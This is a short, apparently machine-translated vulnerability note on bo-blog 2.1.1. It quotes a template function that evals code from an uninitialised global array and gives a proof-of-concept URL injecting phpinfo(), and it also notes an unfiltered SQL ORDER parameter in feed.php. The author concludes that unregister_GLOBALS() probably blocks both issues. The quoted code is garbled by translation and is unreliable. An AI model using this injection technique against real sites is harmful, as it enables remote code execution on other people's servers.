FAQs about bo-blog 2.1.1

By: xhming

1. execute any code! (Boblog_class_run.php)

The template class has such a function.

Function set ($ elementname, $ array, $ inherit = 0 ){
Global $ elements, $ tptvalue;
If ($ inherit = 1) global $ content;
$ Content [$ elementname] = $ elements [$ elementname];

$ A = preg_match ("/<! -- Php --> <! -- (. + ?) --> <! --/Php -->/is ", $ content

[$ Elementname], $ phpcode_array );
If ($! = 0 ){
$ Phpcode = $ phpcode_array [1];
Eval ($ phpcode );

......................................

The $ elements array is not initialized. We can construct it and call this function on the homepage.

Http: // 127.0.0.1/bo-blog /? Elements [header] = <! -- Php --> <! -- Phpinfo (); --> <! --/Php -->

2. Injection problem (feed. php)

Case entry:
$ Query = "SELECT t1 .*, t2. * FROM '{$ db_prefix} blogs 'T1 LEFT join' {$ db_prefix} replies 't2 ON t1.blogid = t2.blogid WHERE t1.blogid = {$ itemid} AND t1.property <> 2 AND t1.property <> 3 order by t2.reptime {$ order} LIMIT 0, {$ mbcon [maxrssitem]} ";
Break;

......................

$ Order is not filtered and can be injected

Now let's talk about the problem. unregister_GLOBALS () is used in global. php ()

This is a function used to cancel the global variables, so no initialization variable is enabled, but the problem mentioned in this function log becomes a blank discussion.

I have encountered several chicken ribs recently. It's all about asking questions for my own exercises!